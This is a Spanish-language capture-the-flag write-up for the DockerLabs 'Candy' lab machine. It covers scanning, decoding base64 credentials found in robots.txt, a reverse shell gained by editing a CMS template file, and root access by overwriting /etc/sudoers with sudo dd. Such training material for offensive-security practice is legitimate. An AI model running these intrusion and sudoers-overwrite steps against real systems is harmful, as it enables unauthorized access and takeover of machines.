> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/candy.md).

# Candy

✍️ Autor: Luisillo\_o🔍 Dificultad: Fácil  📅 Fecha de creación: 29/08/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcJdgPaFvfen37QzjbSDB%2Fimage.png?alt=media&amp;token=75fcac84-26a7-465b-9191-32d895f24f60" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKmj0VMN0XqS7ebMgn7zl%2Fimage.png?alt=media&amp;token=f9c59329-84d1-40d4-9953-f1901186f382" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FozC2v1cEkJkSjeZOMQ6R%2Fimage.png?alt=media&amp;token=bd59312e-d831-4d23-ac06-bf296c122447" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web llamada Cassiopeia.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fo3j5DOoSxA7l2omvQ63q%2Fimage.png?alt=media&amp;token=17eee457-c8b2-45fb-915d-d1afec7cb048" alt=""><figcaption></figcaption></figure>

Como nos pide unas credenciales vamos a revisar el archivo `robots.txt` por si contiene algo relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8uzPIXnoyfQboUjP23RU%2Fimage.png?alt=media&amp;token=793526c9-5096-4f8c-9211-6f63cca28dce" alt=""><figcaption></figcaption></figure>

Vemos unas credenciales pero la contraseña parece ser que está codificada en **base64**.

```bash
echo "c2FubHVpczEyMzQ1" | base64 -d
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1CZ1sLfVgDjCw7nOA9IC%2Fimage.png?alt=media&amp;token=fd05da64-548a-4314-b520-a7f5394945e1" alt=""><figcaption></figcaption></figure>

Nos logueamos y estamos dentro.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnOOjgwbEXrnfUofbZtCW%2Fimage.png?alt=media&amp;token=025cf5b8-0524-4514-9dac-ad134c7c809b" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,txt,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJgR2NlufShj5IBvFJ2Tt%2Fimage.png?alt=media&amp;token=a5d1ea64-7be0-4f1d-878d-27e356364c67" alt=""><figcaption></figcaption></figure>

Nos encontramos un directorio llamado `/administrator` y entramos en él y nos pide unas credenciales que hemos encontrado anteriormente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAc8lgmY3nZtvlamP2oDh%2Fimage.png?alt=media&amp;token=7482991a-5567-485f-9707-eb13b1ae0b34" alt=""><figcaption></figcaption></figure>

Nos logueamos y estamos dentro.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FkSlHJ5VFEnbay6Oa2L82%2Fimage.png?alt=media&amp;token=c842330c-a92c-4b97-8952-9dcdbc8ec909" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vamos a **System** en concreto **Sites Templates** y editamos el archivo `error.php` para hacer una [**Reverse Shell**](https://www.revshells.com/). Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FInUjiFUWglPU3J1B6NFd%2Fimage.png?alt=media&amp;token=2bf80258-157c-4332-967b-3f5cb6028aae" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.

```bash
find / -user luisillo 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrM7hck07cFM7tx2DqAj3%2Fimage.png?alt=media&amp;token=48e15104-a289-47fb-a91f-8d874f739e36" alt=""><figcaption></figcaption></figure>

Mostramos el contenido de ese archivo.

```bash
cat /var/backups/hidden/otro_caramelo.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzUi4gFkNXpPr2LWvc7tG%2Fimage.png?alt=media&amp;token=e03c56c4-47ec-4f8b-948f-41df3dc98af6" alt=""><figcaption></figcaption></figure>

Parecen unas credenciales por lo que intentamos loguearnos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQPEVXpKofUGjN8e5A5hh%2Fimage.png?alt=media&amp;token=099ea503-ea57-49c2-9404-8091c21117c0" alt=""><figcaption></figcaption></figure>

Tenemos permisos SUDO con dd por lo que revisamos esta [página](https://gtfobins.github.io/gtfobins/dd/).

```bash
echo "luisillo ALL=(ALL:ALL) ALL" | sudo /bin/dd of=/etc/sudoers
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fd188swJakwp82d5MOH2X%2Fimage.png?alt=media&amp;token=728bc295-fb9f-4a1a-a55a-7fb3c86cfdb8" alt=""><figcaption></figcaption></figure>
